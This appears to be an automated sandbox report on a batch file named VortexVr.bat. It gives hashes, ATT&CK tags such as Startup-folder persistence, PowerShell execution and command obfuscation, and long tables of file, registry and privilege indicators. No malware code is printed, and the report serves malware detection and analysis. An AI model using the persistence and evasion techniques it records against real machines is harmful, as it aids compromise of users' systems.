2ea734933ae503051d56be88e7ea25a12c6b4853df9e72281634b06832dd09ed

Analysis

user interaction
yes
max time kernel
899s
max time network
890s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 16:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr.bat
Size 51KB
Sample260818-twddlsxset
SHA256 2ea734933ae503051d56be88e7ea25a12c6b4853df9e72281634b06832dd09ed
MD5 a7f9711f7cdb8a2caa5087ddceb376c3
SHA1 ee4e2d11f39e7338b67be95a1ac83e5cb7936abe
SHA512 7b380a9e0ea5c55eed2de420ec911e0d0ec20262e05afc5e0d2b6ae9141d1fef9bf641dc175fdd0887d4b1dcd5bebdff80f7a4b3be964eca50e82c166ba7cb4f
SSDEEP 1536:PfZfjfHf/fpfZfjfHf/fpfZfjfHf/fpfZfjfHfufW:/
TLSH
T1E033783ADB649CD083BE39DC8A532E0629C61927C7B5655CF886049B4EEC385FB3748D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2376	powershell.exe
7684	powershell.exe
4612	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
2776	msedge.exe

Drops desktop.ini file(s) 3 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Documents\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\desktop.ini	firefox.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	firefox.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 5 IoCs

description	ioc	Process
File created	C:\Windows\system32\PerfStringBackup.TMP	WMIADAP.EXE
File opened for modification	C:\Windows\system32\PerfStringBackup.INI	WMIADAP.EXE
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.h	WMIADAP.EXE
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini	WMIADAP.EXE
File created	C:\Windows\system32\perfTMP.dat	WMIADAP.EXE

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\Fingerprinting	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1468136333\llm_user_input_extractor_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_439743312\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_448823579\deny_full_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1587701988\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1813404945\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Sigma\Analytics	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_865516547\crs.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1270493384\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_727740392\classification.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_439743312\keys.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_923561648\domain_actions.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\CompatExceptions	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1468136333\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1607170129\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_439743312\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_36488922\crl-set	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_686598367\autofill_bypass_cache_forms.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Sigma\Other	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_727740392\automation.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1373113160\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_448823579\deny_domains.list	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_865516547\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1468136333\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\Advertising	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_865516547\ct_config.pb	msedge.exe
File created	C:\Windows\inf\WmiApRpl\WmiApRpl.ini	WMIADAP.EXE
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Sigma\Entities	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_448823579\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1813404945\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Sigma\Content	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_727740392\travel-facilitated-booking-bing.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1587701988\arbitration_metadata.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1813404945\safety_tips.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Sigma\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\Analytics	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1607170129\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_727740392\extraction.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_686598367\regex_patterns.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Sigma\Cryptomining	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Sigma\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_844888448\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_2118713368\data.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1270493384\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1898559714\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1468136333\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1607170129\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_727740392\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_36488922\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_686598367\edge_autofill_global_block_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_923561648\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\Staging	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\TransparentAdvertisers	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Sigma\Social	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_865516547\kp_pinslist.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_844888448\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_439743312\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_686598367\manifest.json	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5776	cmd.exe
3448	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2608	chrome.exe
4672	msedge.exe

Checks processor information in registry 2 TTPs 48 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134315439185262541"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2115213192-531537726-3295841909-1000\{111B39E1-AF34-4324-9967-20D7087B2DAC}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\DisplayName = "Chrome Sandbox"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Moniker = "cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-1760019844-2681172078-3872633735-798519778-3824819574-1684089895-1452983902\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-2115213192-531537726-3295841909-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.odmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe

Suspicious behavior: EnumeratesProcesses 58 IoCs

pid	Process
4052	powershell.exe
4052	powershell.exe
4612	powershell.exe
4612	powershell.exe
2376	powershell.exe
2376	powershell.exe
2376	powershell.exe
3104	powershell.exe
3104	powershell.exe
3892	powershell.exe
3892	powershell.exe
3332	chrome.exe
3332	chrome.exe
5788	powershell.exe
5788	powershell.exe
2220	powershell.exe
2220	powershell.exe
6364	powershell.exe
6364	powershell.exe
6612	powershell.exe
6612	powershell.exe
6292	powershell.exe
6292	powershell.exe
6608	powershell.exe
6608	powershell.exe
7832	powershell.exe
7832	powershell.exe
7972	powershell.exe
7972	powershell.exe
8056	powershell.exe
8056	powershell.exe
7892	powershell.exe
7892	powershell.exe
8024	powershell.exe
8024	powershell.exe
8108	powershell.exe
8108	powershell.exe
7712	powershell.exe
7712	powershell.exe
6388	powershell.exe
6388	powershell.exe
6616	powershell.exe
6616	powershell.exe
7788	powershell.exe
7788	powershell.exe
5608	powershell.exe
5608	powershell.exe
7684	powershell.exe
7684	powershell.exe
7684	powershell.exe
8564	powershell.exe
8564	powershell.exe
3332	chrome.exe
3332	chrome.exe
3832	chrome.exe
3832	chrome.exe
6236	msedge.exe
6236	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3332	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 23 IoCs

pid	Process
3332	chrome.exe
3332	chrome.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
2776	msedge.exe
3332	chrome.exe
2776	msedge.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
2776	msedge.exe
2776	msedge.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
2776	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4052	powershell.exe
Token: SeDebugPrivilege	4612	powershell.exe
Token: SeIncreaseQuotaPrivilege	4612	powershell.exe
Token: SeSecurityPrivilege	4612	powershell.exe
Token: SeTakeOwnershipPrivilege	4612	powershell.exe
Token: SeLoadDriverPrivilege	4612	powershell.exe
Token: SeSystemProfilePrivilege	4612	powershell.exe
Token: SeSystemtimePrivilege	4612	powershell.exe
Token: SeProfSingleProcessPrivilege	4612	powershell.exe
Token: SeIncBasePriorityPrivilege	4612	powershell.exe
Token: SeCreatePagefilePrivilege	4612	powershell.exe
Token: SeBackupPrivilege	4612	powershell.exe
Token: SeRestorePrivilege	4612	powershell.exe
Token: SeShutdownPrivilege	4612	powershell.exe
Token: SeDebugPrivilege	4612	powershell.exe
Token: SeSystemEnvironmentPrivilege	4612	powershell.exe
Token: SeRemoteShutdownPrivilege	4612	powershell.exe
Token: SeUndockPrivilege	4612	powershell.exe
Token: SeManageVolumePrivilege	4612	powershell.exe
Token: 33	4612	powershell.exe
Token: 34	4612	powershell.exe
Token: 35	4612	powershell.exe
Token: 36	4612	powershell.exe
Token: SeDebugPrivilege	2376	powershell.exe
Token: SeDebugPrivilege	3104	powershell.exe
Token: SeDebugPrivilege	3892	powershell.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeDebugPrivilege	5788	powershell.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeDebugPrivilege	6364	powershell.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeDebugPrivilege	6612	powershell.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeDebugPrivilege	6292	powershell.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeShutdownPrivilege	3332	chrome.exe
Token: SeCreatePagefilePrivilege	3332	chrome.exe
Token: SeDebugPrivilege	6608	powershell.exe
Token: SeDebugPrivilege	4328	firefox.exe
Token: SeDebugPrivilege	4328	firefox.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
2776	msedge.exe
4328	firefox.exe
4328	firefox.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
4328	firefox.exe
3332	chrome.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe
3332	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
